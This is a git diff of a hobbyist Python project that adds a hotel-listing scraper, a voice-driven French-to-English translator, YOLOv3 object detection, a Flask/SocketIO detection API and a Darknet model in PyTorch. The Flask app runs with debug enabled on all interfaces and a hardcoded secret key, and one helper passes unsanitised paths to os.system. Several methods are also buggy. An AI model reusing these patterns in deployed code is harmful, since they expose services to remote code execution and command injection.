def find_indices(list_to_check, item_to_find): + indices = [] + for idx, value in enumerate(list_to_check): + if value == item_to_find: + indices.append(idx) + return indices + + + @classmethod + def caesar_get_hotel_info(self,url): + bookings = [] + assumed_vat_percentage = 0.2 + rating_regex = re.compile(r"^(?=.*?\d)\d*[.,]?\d*$") + headers = {'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 Safari/601.3.9'} + response=requests.get(url,headers=headers) + soup=BeautifulSoup(response.content,'lxml') + + title = [titl.text for titl in soup.find_all('div', attrs={'data-testid': 'title'})] + city_list = [self.city.capitalize() for vatind in range(len(title))] + + address = [addr.text for addr in soup.find_all('span', attrs={'data-testid': 'address'})] + price = [float(price.text.replace("£","").replace(",","").replace("US$","")) for price in soup.find_all('span', attrs={'data-testid': 'price-and-discounted-price'})] + assumed_vat = [f"{assumed_vat_percentage *100}%" for vatind in range(len(price))] + checkin = [self.checkin_date for checkin in range(len(title))] + checkout = [self.checkout_date for checkout in range(len(title))] + assumed_final_price = [pr * (1 +assumed_vat_percentage ) for pr in price] + booking = [xnights.text for xnights in soup.find_all('div', attrs={'data-testid': 'price-for-x-nights'})] + room = [recounit.find("div",attrs={'class': 'd8eab2cf7f'}).text for recounit in soup.find_all('div', attrs={'data-testid': 'recommended-units'})] + location = [recounit.find("a").get("href") for recounit in soup.find_all('div', attrs={'data-testid': 'location'})] + + distance = [dist.text for dist in soup.find_all('span', attrs={'data-testid': 'distance'})] + reviews = [rev.text for rev in soup.find_all('div', attrs={'class': 'd8eab2cf7f c90c0a70d3 db63693c62'})] + rating = [float(rate.text) for rate in soup.select("[aria-label]") if rating_regex.match(rate.text) and "." in rate.text] + + + for bookingind in range(len(title)): + booking_info = {} + try: + city_json = {'city':city_list[bookingind]} + booking_info.update(city_json) + except IndexError as ex: + pass + try: + title_json = {'title':title[bookingind]} + booking_info.update(title_json) + except IndexError as ex: + continue + try: + checkin_date_json = {'checkin_date':checkin[bookingind]} + booking_info.update(checkin_date_json) + except IndexError as ex: + pass + try: + checkout_date_json = {'checkout_date':checkout[bookingind]} + booking_info.update(checkout_date_json) + except IndexError as ex: + pass + try: + address_json = {'address':address[bookingind]} + booking_info.update(address_json) + except IndexError as ex: + pass + try: + price_json = {'price':price[bookingind]} + booking_info.update(price_json) + except IndexError as ex: + pass + try: + assumed_vat_json = {'assumed_vat':assumed_vat[bookingind]} + booking_info.update(assumed_vat_json) + except IndexError as ex: + pass + try: + assumed_final_price_json = {'assumed_final_price':assumed_final_price[bookingind]} + booking_info.update(assumed_final_price_json) + except IndexError as ex: + pass + try: + booking_json = {'booking':booking[bookingind]} + booking_info.update(booking_json) + except IndexError as ex: + pass + try: + distance_json = {'distance':distance[bookingind]} + booking_info.update(distance_json) + except IndexError as ex: + pass + try: + reviews_json = {'reviews':reviews[bookingind]} + booking_info.update(reviews_json) + except IndexError as ex: + pass + try: + room_json = {'room':room[bookingind]} + booking_info.update(room_json) + except IndexError as ex: + pass + try: + rating_json = {'rating':rating[bookingind]} + booking_info.update(rating_json) + except IndexError as ex: + pass + try: + location_json = {'location':location[bookingind]} + booking_info.update(location_json) + except IndexError as ex: + pass + bookings.append(booking_info) + + return bookings +def store_lower_than_3000(city,range): + def condition(dic): + ''' Define your own condition here''' + try: + price = dic['assumed_final_price'] + return price <= range + except KeyError as kex: + return False + with open(f"{city.lower()}_bookings.json","r") as f: + bookings = json.load(f)[f"{city.lower()}_bookings"] + + filtered = [d for d in bookings if condition(d)] + with open(f"{city.lower()}_smaller_than_{range}.json","w+") as f: + json.dump({f"{city.lower()}_bookings":filtered},f) + print(f"less than {range} stored") + +def store_whole_booking(city,num_of_pages): + overall_booking_info = [] + print(f"Extracting flight data for {city}...") + for i in tqdm(range(1,num_of_pages+1)): + params = { + "city":city, + "checkin_date":"2023-8-01", + "checkout_date":"2023-8-08", + "purpose":"work", + "num_of_adults":10, + "num_of_rooms":5, + "num_of_children":0, + "page_num":i + } + url = CaesarHotelBooking.create_url(**params) + bookinginfo = CaesarHotelBooking.caesar_get_hotel_info(url) + overall_booking_info.append(bookinginfo) + full_bookings = list(itertools.chain(*overall_booking_info)) + with open(f"{city.lower()}_bookings.json","w+") as f: + json.dump({f"{city.lower()}_bookings":full_bookings},f) + print(full_bookings) + print(len(full_bookings)) +def main(): + # TODO Check out Expedia... + try: + city = sys.argv[1] + max_amount = float(sys.argv[2]) # 3000 + except IndexError as iex: + print("python caesarhotelbooking.py ") + num_of_pages = 10 + store_whole_booking(city,num_of_pages) + + store_lower_than_3000(city,max_amount) + +if __name__ == "__main__": + main() + diff --git a/CaesarLangTranslate/caesarlangtranslate.py b/CaesarLangTranslate/caesarlangtranslate.py new file mode 100644 index 0000000000000000000000000000000000000000..19d171fef4f172e6672bbcbfcb7a52e3118195c0 --- /dev/null +++ b/CaesarLangTranslate/caesarlangtranslate.py @@ -0,0 +1,73 @@ +from googletrans import Translator, constants +from pprint import pprint +#import library +import warnings +#from gtts import gTTS +import os + +import time +import pyttsx3 +warnings.filterwarnings("ignore") +import os +os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' +import speech_recognition as sr +class CaesarLangTranslate: + def __init__(self) -> None: + self.translator = Translator() + @classmethod + def all_languages(): + print("Total supported languages:", len(constants.LANGUAGES)) + print("Languages:") + pprint(constants.LANGUAGES) + def translate(self,text,src="fr",lang="en",verbose=False): + translation = self.translator.translate(text,src=src,dest=lang) + print(f"{translation.origin} ({translation.src}) --> {translation.text} ({translation.dest})") + if verbose == True: + pprint(translation.extra_data) + return translation.origin,translation.text,translation.dest + +# Initialize recognizer class (for recognizing the speech) +engine=pyttsx3.init('sapi5') +voices=engine.getProperty('voices') +engine.setProperty('voice',voices[1].id) +recognizer = sr.Recognizer() + +def speak(text,whisper_mode=None): + if whisper_mode == 0: + engine.say(text) + engine.runAndWait() + +def caesar_recognition(language="en-US"): + r = sr.Recognizer() + with sr.Microphone() as source: + recognizer.adjust_for_ambient_noise(source,duration=1) + audio = r.listen(source) + said = "" + + try: + said = r.recognize_google(audio,language=language) + print(said) + except Exception as e: + print("Exception: " + str(e)) + + return said.lower() +WAKE = "hello caesar" +while True: + print("Listening") + text = caesar_recognition() + + if WAKE in text: + print("How can I help you sir?") + speak("How can I help you sir?",0) + text = caesar_recognition() + TRANSLATION_MODE = "translate" + if TRANSLATION_MODE in text: + print("What is your translation?") + speak("What is your translation?",0) + text = caesar_recognition(language="fr-FR") + caesarlangtranslate = CaesarLangTranslate() + tranlationinfo = caesarlangtranslate.translate(text) + print(tranlationinfo) + speak(tranlationinfo[1],0) + else: + print(text) \ No newline at end of file diff --git a/CaesarObjectDetection/CaesarYolo.py b/CaesarObjectDetection/CaesarYolo.py new file mode 100644 index 0000000000000000000000000000000000000000..831a5503a7db52c4ce319978e1c8974d905f5162 --- /dev/null +++ b/CaesarObjectDetection/CaesarYolo.py @@ -0,0 +1,192 @@ +import cv2 +import numpy as np +import os +import time +import ffmpeg + + +class CaesarYolo: + def __init__(self) -> None: + self.CONFIDENCE = 0.5 + self.SCORE_THRESHOLD = 0.5 + self.IOU_THRESHOLD = 0.5 + self.current_dir = os.path.realpath(__file__).replace(f"/CaesarYolo.py","") + config_path = f"{self.current_dir}/cfg/yolov3.cfg" + weights_path = f"{self.current_dir}/weights/yolov3.weights" + self.font_scale = 1 + self.thickness = 1 + self.LABELS = open(f"{self.current_dir}/data/coco.names").read().strip().split("\n") + self.COLORS = np.random.randint(0, 255, size=(len(self.LABELS), 3), dtype="uint8") + + self.net = cv2.dnn.readNetFromDarknet(config_path, weights_path) + + self.ln = self.net.getLayerNames() + try: + self.ln = [self.ln[i[0] - 1] for i in self.net.getUnconnectedOutLayers()] + except IndexError: + # in case getUnconnectedOutLayers() returns 1D array when CUDA isn't available + self.ln = [self.ln[i - 1] for i in self.net.getUnconnectedOutLayers()] + @staticmethod + def compress_video(video_full_path, output_file_name, target_size): + # Reference: https://en.wikipedia.org/wiki/Bit_rate#Encoding_bit_rate + min_audio_bitrate = 32000 + max_audio_bitrate = 256000 + + probe = ffmpeg.probe(video_full_path) + # Video duration, in s. + duration = float(probe['format']['duration']) + # Audio bitrate, in bps. + audio_bitrate = float(next((s for s in probe['streams'] if s['codec_type'] == 'audio'), None)['bit_rate']) + # Target total bitrate, in bps. + target_total_bitrate = (target_size * 1024 * 8) / (1.073741824 * duration) + + # Target audio bitrate, in bps + if 10 * audio_bitrate > target_total_bitrate: + audio_bitrate = target_total_bitrate / 10 + if audio_bitrate < min_audio_bitrate < target_total_bitrate: + audio_bitrate = min_audio_bitrate + elif audio_bitrate > max_audio_bitrate: + audio_bitrate = max_audio_bitrate + # Target video bitrate, in bps. + video_bitrate = target_total_bitrate - audio_bitrate + + i = ffmpeg.input(video_full_path) + ffmpeg.output(i, os.devnull, + **{'c:v': 'libx264', 'b:v': video_bitrate, 'pass': 1, 'f': 'mp4'} + ).overwrite_output().run() + ffmpeg.output(i, output_file_name, + **{'c:v': 'libx264', 'b:v': video_bitrate, 'pass': 2, 'c:a': 'aac', 'b:a': audio_bitrate} + ).overwrite_output().run() + + + def video_load(self,videofile): + self.video_file = f"{ self.current_dir}/{videofile}" + if self.video_file: + self.cap = cv2.VideoCapture(self.video_file) + _, image = self.cap.read() + h, w = image.shape[:2] + fourcc = cv2.VideoWriter_fourcc(*"XVID") + frames = self.cap.get(cv2.CAP_PROP_FRAME_COUNT) + fps = self.cap.get(cv2.CAP_PROP_FPS) + + # calculate duration of the video + self.duration_seconds = round(frames / fps) + self.out = cv2.VideoWriter(f"{self.current_dir}/output.avi", fourcc, 20.0, (w, h)) + self.overall_time_taken = [] + def caesar_object_detect(self,image,verbose=False): + if self.video_file and image is "video": + _,image = self.cap.read() + try: + h, w = image.shape[:2] + except AttributeError as aex: + return None,None,None + blob = cv2.dnn.blobFromImage(image, 1/255.0, (416, 416), swapRB=True, crop=False) + self.net.setInput(blob) + start = time.perf_counter() + layer_outputs = self.net.forward(self.ln) + time_took = time.perf_counter() - start + if verbose == True: + print("Time took:", time_took) + if self.video_file: + self.overall_time_taken.append(time_took) + time_elapsed = round(sum(self.overall_time_taken),3) + approx_finish = self.duration_seconds *4.6 # seconds + boxes, confidences, class_ids = [], [], [] + + # loop over each of the layer outputs + for output in layer_outputs: + # loop over each of the object detections + for detection in output: + # extract the class id (label) and confidence (as a probability) of + # the current object detection + scores = detection[5:] + class_id = np.argmax(scores) + confidence = scores[class_id] + # discard weak predictions by ensuring the detected + # probability is greater than the minimum probability + if confidence > self.CONFIDENCE: + # scale the bounding box coordinates back relative to the + # size of the image, keeping in mind that YOLO actually + # returns the center (x, y)-coordinates of the bounding + # box followed by the boxes' width and height + box = detection[:4] * np.array([w, h, w, h]) + (centerX, centerY, width, height) = box.astype("int") + + # use the center (x, y)-coordinates to derive the top and + # and left corner of the bounding box + x = int(centerX - (width / 2)) + y = int(centerY - (height / 2)) + + # update our list of bounding box coordinates, confidences, + # and class IDs + boxes.append([x, y, int(width), int(height)]) + confidences.append(float(confidence)) + class_ids.append(class_id) + + # perform the non maximum suppression given the scores defined before + idxs = cv2.dnn.NMSBoxes(boxes, confidences, self.SCORE_THRESHOLD, self.IOU_THRESHOLD) + + self.font_scale = 1 + self.thickness = 1 + + # ensure at least one detection exists + if len(idxs) > 0: + # loop over the indexes we are keeping + for i in idxs.flatten(): + # extract the bounding box coordinates + x, y = boxes[i][0], boxes[i][1] + w, h = boxes[i][2], boxes[i][3] + # draw a bounding box rectangle and label on the image + + color = [int(c) for c in self.COLORS[class_ids[i]]] + cv2.rectangle(image, (x, y), (x + w, y + h), color=color, thickness=self.thickness) + text = f"{self.LABELS[class_ids[i]]}: {confidences[i]:.2f}" + # calculate text width & height to draw the transparent boxes as background of the text + (text_width, text_height) = cv2.getTextSize(text, cv2.FONT_HERSHEY_SIMPLEX, fontScale=self.font_scale, thickness=self.thickness)[0] + text_offset_x = x + text_offset_y = y - 5 + box_coords = ((text_offset_x, text_offset_y), (text_offset_x + text_width + 2, text_offset_y - text_height)) + overlay = image.copy() + cv2.rectangle(overlay, box_coords[0], box_coords[1], color=color, thickness=cv2.FILLED) + # add opacity (transparency to the box) + image = cv2.addWeighted(overlay, 0.6, image, 0.4, 0) + # now put the text (label: confidence %) + cv2.putText(image, text, (x, y - 5), cv2.FONT_HERSHEY_SIMPLEX, + fontScale=self.font_scale, color=(0, 0, 0), thickness=self.thickness) + if self.video_file: + self.out.write(image) + return image,time_elapsed,approx_finish + elif not self.video_file: + return image,0,0 + +if __name__ == "__main__": + def test(): + caesaryolo = CaesarYolo() + caesaryolo.video_load("car-detection.mp4") + while True: + image,time_elapsed,end_time = caesaryolo.caesar_object_detect("video") + if image is not None: + print(round(time_elapsed,3),"out of",end_time) + cv2.imshow("image", image) + + if ord("q") == cv2.waitKey(1): + break + else: + break + + + caesaryolo.cap.release() + cv2.destroyAllWindows() + def convert_avi_to_mp4(avi_file_path, output_name): + os.system(f"ffmpeg -y -i {avi_file_path} {output_name}") + return True + + CURRENT_DIR = os.path.realpath(__file__).replace(f"/CaesarYolo.py","") + #convert_avi_to_mp4(,) + import subprocess + + #process = subprocess.Popen(ffmpeg_command, stdout = subprocess.PIPE, stderr = subprocess.STDOUT, bufsize = -1) + + + + diff --git a/CaesarObjectDetection/README.md b/CaesarObjectDetection/README.md new file mode 100644 index 0000000000000000000000000000000000000000..ddb8f0bde89031eb74d0939bffba08453e34b1d2 --- /dev/null +++ b/CaesarObjectDetection/README.md @@ -0,0 +1,20 @@ +# [How to Perform YOLO Object Detection using OpenCV and PyTorch in Python](https://www.thepythoncode.com/article/yolo-object-detection-with-opencv-and-pytorch-in-python) +To run this: +- `pip3 install -r requirements.txt` +- Download the [model weights](https://pjreddie.com/media/files/yolov3.weights) and put them in `weights` folder. +- To generate a object detection image on `images/dog.jpg`: + ``` + python yolo_opencv.py images/dog.jpg + ``` + A new image `dog_yolo3.jpg` will appear which has the bounding boxes of different objects in the image. +- For live object detection: + ``` + python live_yolo_opencv.py + ``` +- If you want to read from a video file and make predictions: + ``` + python read_video.py video.avi + ``` + This will start detecting objects in that video, in the end, it'll save the resulting video to `output.avi` +- If you wish to use PyTorch for GPU acceleration, please install PyTorch CUDA [here](https://pytorch.org/get-started) and use `yolo.py` file. +- Feel free to edit the codes for your needs! diff --git a/CaesarObjectDetection/__pycache__/CaesarYolo.cpython-37.pyc b/CaesarObjectDetection/__pycache__/CaesarYolo.cpython-37.pyc new file mode 100644 index 0000000000000000000000000000000000000000..97c2bddb83b8eb066d960fc648b8466d1f569a3a Binary files /dev/null and b/CaesarObjectDetection/__pycache__/CaesarYolo.cpython-37.pyc differ diff --git a/CaesarObjectDetection/__pycache__/CaesarYolo.cpython-39.pyc b/CaesarObjectDetection/__pycache__/CaesarYolo.cpython-39.pyc new file mode 100644 index 0000000000000000000000000000000000000000..11a997a07081738dbb6b8a5fd2e41e3d3433ccd5 Binary files /dev/null and b/CaesarObjectDetection/__pycache__/CaesarYolo.cpython-39.pyc differ diff --git a/CaesarObjectDetection/app.py b/CaesarObjectDetection/app.py new file mode 100644 index 0000000000000000000000000000000000000000..f1ff19385b4785b7a05f28c39b2d4e821395db25 --- /dev/null +++ b/CaesarObjectDetection/app.py @@ -0,0 +1,42 @@ +from flask import Flask,request +from flask_cors import cross_origin +from flask_socketio import SocketIO,send,emit +from CaesarYolo import CaesarYolo +import numpy as np +import base64 +caesaryolo = CaesarYolo() +app = Flask(__name__) +app.config['SECRET_KEY'] = 'secret!' +socketio = SocketIO(app) + + +@app.route("/",methods=["GET"]) +@cross_origin() +def caesaraihome(): + return "Welcome to CaesarAI's API's and CaesarAINL." +@app.route("/caesarobjectdetect",methods=["POST"]) +def caesarobjectdetect(): + frames = request.get_json() + #print(frames) + + image = caesaryolo.caesar_object_detect(np.frombuffer(base64.b64decode(frames["frame"]),dtype="uint8").reshape(480,640,3))#base64.b64decode(frames["frame"])) + return {'frame': base64.b64encode(image).decode()} + +@socketio.on('message') +def message(data): + print(data) # {'from': 'client'} + emit('response', {'from': 'server'}) + +@socketio.on('man') +def message(data): + print(data) # {'from': 'client'} + emit('response', {'from': 'server man'}) +@socketio.on('caesarobjectdetect') +def caesarobjectdetect(image): + image = caesaryolo.caesar_object_detect(np.array(image["frame"])) + emit('caesarobjectresponse', {'frame': str(image)}) + +if __name__ == "__main__": + #port = int(os.environ.get('PORT', 5000)) # 80 + app.run(debug=True,host="0.0.0.0",port=5000) + #socketio.run(app,debug=True,host="0.0.0.0",port=5000) diff --git a/CaesarObjectDetection/cfg/yolov3.cfg b/CaesarObjectDetection/cfg/yolov3.cfg new file mode 100644 index 0000000000000000000000000000000000000000..fac174ff1cfd9137c433b8f5cdd8902270c1ec9c --- /dev/null +++ b/CaesarObjectDetection/cfg/yolov3.cfg @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:39498ec1475dbe57b0308c272d0ce8bd4f3434f70b4a06f59e8a5d6194afdfc6 +size 8342 diff --git a/CaesarObjectDetection/darknet.py b/CaesarObjectDetection/darknet.py new file mode 100644 index 0000000000000000000000000000000000000000..c89d1bea259a10daec213fa5eeeb1d2d8e9224a9 --- /dev/null +++ b/CaesarObjectDetection/darknet.py @@ -0,0 +1,463 @@ +import torch +import torch.nn as nn +import numpy as np + +# let us run this cell only if CUDA is available +# We will use ``torch.device`` objects to move tensors in and out of GPU +if torch.cuda.is_available(): + x = torch.randn(1) + device = torch.device("cuda") # a CUDA device object + y = torch.ones_like(x, device=device) # directly create a tensor on GPU + x = x.to(device) # or just use strings ``.to("cuda")`` + z = x + y + print(z) + print(z.to("cpu", torch.double)) # ``.to`` can also change dtype together! + + +class YoloLayer(nn.Module): + def __init__(self, anchor_mask=[], num_classes=0, anchors=[], num_anchors=1): + super(YoloLayer, self).__init__() + self.anchor_mask = anchor_mask + self.num_classes = num_classes + self.anchors = anchors + self.num_anchors = num_anchors + self.anchor_step = len(anchors)/num_anchors + self.coord_scale = 1 + self.noobject_scale = 1 + self.object_scale = 5 + self.class_scale = 1 + self.thresh = 0.6 + self.stride = 32 + self.seen = 0 + + def forward(self, output, nms_thresh): + self.thresh = nms_thresh + masked_anchors = [] + + for m in self.anchor_mask: + masked_anchors += self.anchors[m*self.anchor_step:(m+1)*self.anchor_step] + + masked_anchors = [anchor/self.stride for anchor in masked_anchors] + boxes = get_region_boxes(output.data, self.thresh, self.num_classes, masked_anchors, len(self.anchor_mask)) + + return boxes + + +class Upsample(nn.Module): + def __init__(self, stride=2): + super(Upsample, self).__init__() + self.stride = stride + def forward(self, x): + stride = self.stride + assert(x.data.dim() == 4) + B = x.data.size(0) + C = x.data.size(1) + H = x.data.size(2) + W = x.data.size(3) + ws = stride + hs = stride + x = x.view(B, C, H, 1, W, 1).expand(B, C, H, stride, W, stride).contiguous().view(B, C, H*stride, W*stride) + return x + + +#for route and shortcut +class EmptyModule(nn.Module): + def __init__(self): + super(EmptyModule, self).__init__() + + def forward(self, x): + return x + +# support route shortcut +class Darknet(nn.Module): + def __init__(self, cfgfile): + super(Darknet, self).__init__() + self.blocks = parse_cfg(cfgfile) + self.models = self.create_network(self.blocks) # merge conv, bn,leaky + self.loss = self.models[len(self.models)-1] + + self.width = int(self.blocks[0]['width']) + self.height = int(self.blocks[0]['height']) + + self.header = torch.IntTensor([0,0,0,0]) + self.seen = 0 + + def forward(self, x, nms_thresh): + ind = -2 + self.loss = None + outputs = dict() + out_boxes = [] + + for block in self.blocks: + ind = ind + 1 + if block['type'] == 'net': + continue + elif block['type'] in ['convolutional', 'upsample']: + x = self.models[ind](x) + outputs[ind] = x + elif block['type'] == 'route': + layers = block['layers'].split(',') + layers = [int(i) if int(i) > 0 else int(i)+ind for i in layers] + if len(layers) == 1: + x = outputs[layers[0]] + outputs[ind] = x + elif len(layers) == 2: + x1 = outputs[layers[0]] + x2 = outputs[layers[1]] + x = torch.cat((x1,x2),1) + outputs[ind] = x + elif block['type'] == 'shortcut': + from_layer = int(block['from']) + activation = block['activation'] + from_layer = from_layer if from_layer > 0 else from_layer + ind + x1 = outputs[from_layer] + x2 = outputs[ind-1] + x = x1 + x2 + outputs[ind] = x + elif block['type'] == 'yolo': + boxes = self.models[ind](x, nms_thresh) + out_boxes.append(boxes) + else: + print('unknown type %s' % (block['type'])) + + return out_boxes + + + def print_network(self): + print_cfg(self.blocks) + + def create_network(self, blocks): + models = nn.ModuleList() + + prev_filters = 3 + out_filters =[] + prev_stride = 1 + out_strides = [] + conv_id = 0 + for block in blocks: + if block['type'] == 'net': + prev_filters = int(block['channels']) + continue + elif block['type'] == 'convolutional': + conv_id = conv_id + 1 + batch_normalize = int(block['batch_normalize']) + filters = int(block['filters']) + kernel_size = int(block['size']) + stride = int(block['stride']) + is_pad = int(block['pad']) + pad = (kernel_size-1)//2 if is_pad else 0 + activation = block['activation'] + model = nn.Sequential() + if batch_normalize: + model.add_module('conv{0}'.format(conv_id), nn.Conv2d(prev_filters, filters, kernel_size, stride, pad, bias=False)) + model.add_module('bn{0}'.format(conv_id), nn.BatchNorm2d(filters)) + else: + model.add_module('conv{0}'.format(conv_id), nn.Conv2d(prev_filters, filters, kernel_size, stride, pad)) + if activation == 'leaky': + model.add_module('leaky{0}'.format(conv_id), nn.LeakyReLU(0.1, inplace=True)) + prev_filters = filters + out_filters.append(prev_filters) + prev_stride = stride * prev_stride + out_strides.append(prev_stride) + models.append(model) + elif block['type'] == 'upsample': + stride = int(block['stride']) + out_filters.append(prev_filters) + prev_stride = prev_stride // stride + out_strides.append(prev_stride) + models.append(Upsample(stride)) + elif block['type'] == 'route': + layers = block['layers'].split(',') + ind = len(models) + layers = [int(i) if int(i) > 0 else int(i)+ind for i in layers] + if len(layers) == 1: + prev_filters = out_filters[layers[0]] + prev_stride = out_strides[layers[0]] + elif len(layers) == 2: + assert(layers[0] == ind - 1) + prev_filters = out_filters[layers[0]] + out_filters[layers[1]] + prev_stride = out_strides[layers[0]] + out_filters.append(prev_filters) + out_strides.append(prev_stride) + models.append(EmptyModule()) + elif block['type'] == 'shortcut': + ind = len(models) + prev_filters = out_filters[ind-1] + out_filters.append(prev_filters) + prev_stride = out_strides[ind-1] + out_strides.append(prev_stride) + models.append(EmptyModule()) + elif block['type'] == 'yolo': + yolo_layer = YoloLayer() + anchors = block['anchors'].split(',') + anchor_mask = block['mask'].split(',') + yolo_layer.anchor_mask = [int(i) for i in anchor_mask] + yolo_layer.anchors = [float(i) for i in anchors] + yolo_layer.num_classes = int(block['classes']) + yolo_layer.num_anchors = int(block['num']) + yolo_layer.anchor_step = len(yolo_layer.anchors)//yolo_layer.num_anchors + yolo_layer.stride = prev_stride + out_filters.append(prev_filters) + out_strides.append(prev_stride) + models.append(yolo_layer) + else: + print('unknown type %s' % (block['type'])) + + return models + + def load_weights(self, weightfile): + print() + fp = open(weightfile, 'rb') + header = np.fromfile(fp, count=5, dtype=np.int32) + self.header = torch.from_numpy(header) + self.seen = self.header[3] + buf = np.fromfile(fp, dtype = np.float32) + fp.close() + + start = 0 + ind = -2 + counter = 3 + for block in self.blocks: + if start >= buf.size: + break + ind = ind + 1 + if block['type'] == 'net': + continue + elif block['type'] == 'convolutional': + model = self.models[ind] + batch_normalize = int(block['batch_normalize']) + if batch_normalize: + start = load_conv_bn(buf, start, model[0], model[1]) + else: + start = load_conv(buf, start, model[0]) + elif block['type'] == 'upsample': + pass + elif block['type'] == 'route': + pass + elif block['type'] == 'shortcut': + pass + elif block['type'] == 'yolo': + pass + else: + print('unknown type %s' % (block['type'])) + + percent_comp = (counter / len(self.blocks)) * 100 + + print('Loading weights. Please Wait...{:.2f}% Complete'.format(percent_comp), end = '\r', flush = True) + + counter += 1 + + + +def convert2cpu(gpu_matrix): + return torch.FloatTensor(gpu_matrix.size()).copy_(gpu_matrix) + + +def convert2cpu_long(gpu_matrix): + return torch.LongTensor(gpu_matrix.size()).copy_(gpu_matrix) + + +def get_region_boxes(output, conf_thresh, num_classes, anchors, num_anchors, only_objectness = 1, validation = False): + anchor_step = len(anchors)//num_anchors + if output.dim() == 3: + output = output.unsqueeze(0) + batch = output.size(0) + assert(output.size(1) == (5+num_classes)*num_anchors) + h = output.size(2) + w = output.size(3) + + all_boxes = [] + output = output.view(batch*num_anchors, 5+num_classes, h*w).transpose(0,1).contiguous().view(5+num_classes, batch*num_anchors*h*w) + + grid_x = torch.linspace(0, w-1, w).repeat(h,1).repeat(batch*num_anchors, 1, 1).view(batch*num_anchors*h*w).type_as(output) #cuda() + grid_y = torch.linspace(0, h-1, h).repeat(w,1).t().repeat(batch*num_anchors, 1, 1).view(batch*num_anchors*h*w).type_as(output) #cuda() + xs = torch.sigmoid(output[0]) + grid_x + ys = torch.sigmoid(output[1]) + grid_y + + anchor_w = torch.Tensor(anchors).view(num_anchors, anchor_step).index_select(1, torch.LongTensor([0])) + anchor_h = torch.Tensor(anchors).view(num_anchors, anchor_step).index_select(1, torch.LongTensor([1])) + anchor_w = anchor_w.repeat(batch, 1).repeat(1, 1, h*w).view(batch*num_anchors*h*w).type_as(output) #cuda() + anchor_h = anchor_h.repeat(batch, 1).repeat(1, 1, h*w).view(batch*num_anchors*h*w).type_as(output) #cuda() + ws = torch.exp(output[2]) * anchor_w + hs = torch.exp(output[3]) * anchor_h + + det_confs = torch.sigmoid(output[4]) + cls_confs = torch.nn.Softmax(dim=1)(output[5:5+num_classes].transpose(0,1)).detach() + cls_max_confs, cls_max_ids = torch.max(cls_confs, 1) + cls_max_confs = cls_max_confs.view(-1) + cls_max_ids = cls_max_ids.view(-1) + + + sz_hw = h*w + sz_hwa = sz_hw*num_anchors + det_confs = convert2cpu(det_confs) + cls_max_confs = convert2cpu(cls_max_confs) + cls_max_ids = convert2cpu_long(cls_max_ids) + xs = convert2cpu(xs) + ys = convert2cpu(ys) + ws = convert2cpu(ws) + hs = convert2cpu(hs) + if validation: + cls_confs = convert2cpu(cls_confs.view(-1, num_classes)) + + for b in range(batch): + boxes = [] + for cy in range(h): + for cx in range(w): + for i in range(num_anchors): + ind = b*sz_hwa + i*sz_hw + cy*w + cx + det_conf = det_confs[ind] + if only_objectness: + conf = det_confs[ind] + else: + conf = det_confs[ind] * cls_max_confs[ind] + + if conf > conf_thresh: + bcx = xs[ind] + bcy = ys[ind] + bw = ws[ind] + bh = hs[ind] + cls_max_conf = cls_max_confs[ind] + cls_max_id = cls_max_ids[ind] + box = [bcx/w, bcy/h, bw/w, bh/h, det_conf, cls_max_conf, cls_max_id] + if (not only_objectness) and validation: + for c in range(num_classes): + tmp_conf = cls_confs[ind][c] + if c != cls_max_id and det_confs[ind]*tmp_conf > conf_thresh: + box.append(tmp_conf) + box.append(c) + boxes.append(box) + all_boxes.append(boxes) + + return all_boxes + + +def parse_cfg(cfgfile): + blocks = [] + fp = open(cfgfile, 'r') + block = None + line = fp.readline() + while line != '': + line = line.rstrip() + if line == '' or line[0] == '#': + line = fp.readline() + continue + elif line[0] == '[': + if block: + blocks.append(block) + block = dict() + block['type'] = line.lstrip('[').rstrip(']') + # set default value + if block['type'] == 'convolutional': + block['batch_normalize'] = 0 + else: + key,value = line.split('=') + key = key.strip() + if key == 'type': + key = '_type' + value = value.strip() + block[key] = value + line = fp.readline() + + if block: + blocks.append(block) + fp.close() + return blocks + + +def print_cfg(blocks): + print('layer filters size input output') + prev_width = 416 + prev_height = 416 + prev_filters = 3 + out_filters =[] + out_widths =[] + out_heights =[] + ind = -2 + for block in blocks: + ind = ind + 1 + if block['type'] == 'net': + prev_width = int(block['width']) + prev_height = int(block['height']) + continue + elif block['type'] == 'convolutional': + filters = int(block['filters']) + kernel_size = int(block['size']) + stride = int(block['stride']) + is_pad = int(block['pad']) + pad = (kernel_size-1)//2 if is_pad else 0 + width = (prev_width + 2*pad - kernel_size)//stride + 1 + height = (prev_height + 2*pad - kernel_size)//stride + 1 + print('%5d %-6s %4d %d x %d / %d %3d x %3d x%4d -> %3d x %3d x%4d' % (ind, 'conv', filters, kernel_size, kernel_size, stride, prev_width, prev_height, prev_filters, width, height, filters)) + prev_width = width + prev_height = height + prev_filters = filters + out_widths.append(prev_width) + out_heights.append(prev_height) + out_filters.append(prev_filters) + elif block['type'] == 'upsample': + stride = int(block['stride']) + filters = prev_filters + width = prev_width*stride + height = prev_height*stride + print('%5d %-6s * %d %3d x %3d x%4d -> %3d x %3d x%4d' % (ind, 'upsample', stride, prev_width, prev_height, prev_filters, width, height, filters)) + prev_width = width + prev_height = height + prev_filters = filters + out_widths.append(prev_width) + out_heights.append(prev_height) + out_filters.append(prev_filters) + elif block['type'] == 'route': + layers = block['layers'].split(',') + layers = [int(i) if int(i) > 0 else int(i)+ind for i in layers] + if len(layers) == 1: + print('%5d %-6s %d' % (ind, 'route', layers[0])) + prev_width = out_widths[layers[0]] + prev_height = out_heights[layers[0]] + prev_filters = out_filters[layers[0]] + elif len(layers) == 2: + print('%5d %-6s %d %d' % (ind, 'route', layers[0], layers[1])) + prev_width = out_widths[layers[0]] + prev_height = out_heights[layers[0]] + assert(prev_width == out_widths[layers[1]]) + assert(prev_height == out_heights[layers[1]]) + prev_filters = out_filters[layers[0]] + out_filters[layers[1]] + out_widths.append(prev_width) + out_heights.append(prev_height) + out_filters.append(prev_filters) + elif block['type'] in ['region', 'yolo']: + print('%5d %-6s' % (ind, 'detection')) + out_widths.append(prev_width) + out_heights.append(prev_height) + out_filters.append(prev_filters) + elif block['type'] == 'shortcut': + from_id = int(block['from']) + from_id = from_id if from_id > 0 else from_id+ind + print('%5d %-6s %d' % (ind, 'shortcut', from_id)) + prev_width = out_widths[from_id] + prev_height = out_heights[from_id] + prev_filters = out_filters[from_id] 